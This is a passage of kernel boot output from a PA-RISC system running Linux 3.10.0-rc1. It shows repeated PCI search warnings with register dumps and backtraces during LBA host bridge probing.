r00-03  000000ff0804f30f 000000007fc58ca0 0000000040327f0c 000000007fc58d40
r04-07  00000000406a9250 000000007fc89400 000000007fc89400 0000000000000000
r08-11  00000000000000c0 00000000405f98a0 00000000000000c0 000000007fc58aa8
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 000000000800000f
r20-23  0000000040607a50 000000007fd13428 000000007fd13418 00000000418170e0
r24-27  0000000000000000 00000000000000c0 000000007fc89400 00000000406a9250
r28-31  0000000000000100 000000007fc58d10 000000007fc58dd0 0000000000000145
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327eb8 0000000040327ebc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d58
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 5555555555555555
 IAOQ[0]: pci_find_next_bus+0xa0/0xb0
 IAOQ[1]: pci_find_next_bus+0xa4/0xb0
 RP(r2): pci_find_bus+0x44/0xa0
Backtrace:
 [<0000000040327f0c>] pci_find_bus+0x44/0xa0
 [<000000004031f26c>] pci_create_root_bus+0x9c/0x448
 [<00000000406dee8c>] lba_driver_probe+0x484/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0
 [<00000000406ccec0>] do_basic_setup+0x148/0x1a8

---[ end trace 3621c5f12f0e44c5 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:110
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111001100001111 Tainted: G        W   
r00-03  000000ff0804f30f 000000007fc58ca0 0000000040327f0c 000000007fc58d40
r04-07  00000000406a9250 000000007fc89c00 000000007fc89c00 0000000000000000
r08-11  00000000000000c0 00000000405f98a0 00000000000000c0 000000007fc58aa8
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 000000000800000f
r20-23  0000000040607a50 000000007fd13428 000000007fd13418 00000000418170e0
r24-27  0000000000000000 00000000000000c0 000000007fc89c00 00000000406a9250
r28-31  0000000000000100 000000007fc58d10 000000007fc58dd0 000000000000015c
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327eb8 0000000040327ebc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d58
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 5555555555555555
 IAOQ[0]: pci_find_next_bus+0xa0/0xb0
 IAOQ[1]: pci_find_next_bus+0xa4/0xb0
 RP(r2): pci_find_bus+0x44/0xa0
Backtrace:
 [<0000000040327f0c>] pci_find_bus+0x44/0xa0
 [<000000004031f26c>] pci_create_root_bus+0x9c/0x448
 [<00000000406dee8c>] lba_driver_probe+0x484/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0
 [<00000000406ccec0>] do_basic_setup+0x148/0x1a8

---[ end trace 3621c5f12f0e44c6 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:110
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111001100001111 Tainted: G        W   
r00-03  000000ff0804f30f 000000007fc58ca0 0000000040327f0c 000000007fc58d40
r04-07  00000000406a9250 000000007fd12400 000000007fd12400 0000000000000000
r08-11  00000000000000c0 00000000405f98a0 00000000000000c0 000000007fc58aa8
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 000000000800000f
r20-23  0000000040607a50 000000007fd13428 000000007fd13418 00000000418170e0
r24-27  0000000000000000 00000000000000c0 000000007fd12400 00000000406a9250
r28-31  0000000000000100 000000007fc58d10 000000007fc58dd0 0000000000000172
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327eb8 0000000040327ebc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d58
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 5555555555555555
 IAOQ[0]: pci_find_next_bus+0xa0/0xb0
 IAOQ[1]: pci_find_next_bus+0xa4/0xb0
 RP(r2): pci_find_bus+0x44/0xa0
Backtrace:
 [<0000000040327f0c>] pci_find_bus+0x44/0xa0
 [<000000004031f26c>] pci_create_root_bus+0x9c/0x448
 [<00000000406dee8c>] lba_driver_probe+0x484/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0
 [<00000000406ccec0>] do_basic_setup+0x148/0x1a8

---[ end trace 3621c5f12f0e44c7 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:110
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111001100001111 Tainted: G        W   
r00-03  000000ff0804f30f 000000007fc58ca0 0000000040327f0c 000000007fc58d40
r04-07  00000000406a9250 000000007fd12c00 000000007fd12c00 0000000000000000
r08-11  00000000000000c0 00000000405f98a0 00000000000000c0 000000007fc58aa8
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 000000000800000f
r20-23  0000000040607a50 000000007fd13428 000000007fd13418 00000000418170e0
r24-27  0000000000000000 00000000000000c0 000000007fd12c00 00000000406a9250
r28-31  0000000000000100 000000007fc58d10 000000007fc58dd0 0000000000000187
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327eb8 0000000040327ebc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d58
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 5555555555555555
 IAOQ[0]: pci_find_next_bus+0xa0/0xb0
 IAOQ[1]: pci_find_next_bus+0xa4/0xb0
 RP(r2): pci_find_bus+0x44/0xa0
Backtrace:
 [<0000000040327f0c>] pci_find_bus+0x44/0xa0
 [<000000004031f26c>] pci_create_root_bus+0x9c/0x448
 [<00000000406dee8c>] lba_driver_probe+0x484/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0
 [<00000000406ccec0>] do_basic_setup+0x148/0x1a8

---[ end trace 3621c5f12f0e44c8 ]---
LBA 0:6: PCI host bridge to bus 0000:c0
pci_bus 0000:c0: root bus resource [io  0x50000-0x5ffff] (bus address [0x0000-0xffff])
pci_bus 0000:c0: root bus resource [mem 0xffffffffe0000000-0xffffffffefffffff] (bus address [0xe0000000-0xefffffff])
pci_bus 0000:c0: root bus resource [mem 0xffffff6004000000-0xffffff6fffffffff]
pci_bus 0000:c0: root bus resource [bus c0-c7]
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000000 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000040607a50
r20-23  0000000040607a50 fffffffff4050005 0000000000000040 0000000000000060
r24-27  0000000000000000 0000000000000000 000000007fd13400 00000000406a9250
r28-31  0000000000000100 000000007fc58d40 000000007fc58e10 00000000000001a1
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44c9 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000008 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000008 000000007fd13400 00000000406a9250
r28-31  0000000000000100 000000007fc58d40 000000007fc58e10 00000000000001b7
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44ca ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000010 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000010 000000007fd13400 00000000406a9250
r28-31  0000000000000100 000000007fc58d40 000000007fc58e10 00000000000001cc
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44cb ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000018 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000018 000000007fd13400 00000000406a9250
r28-31  0000000000000100 000000007fc58d40 000000007fc58e10 00000000000001e1
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44cc ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000020 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000020 000000007fd13400 00000000406a9250
r28-31  0000000000000100 000000007fc58d40 000000007fc58e10 00000000000001f6
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44cd ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000028 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000028 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 000000000000020a
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44ce ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000030 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000030 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 0000000000000220
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44cf ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000038 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000038 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 0000000000000235
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
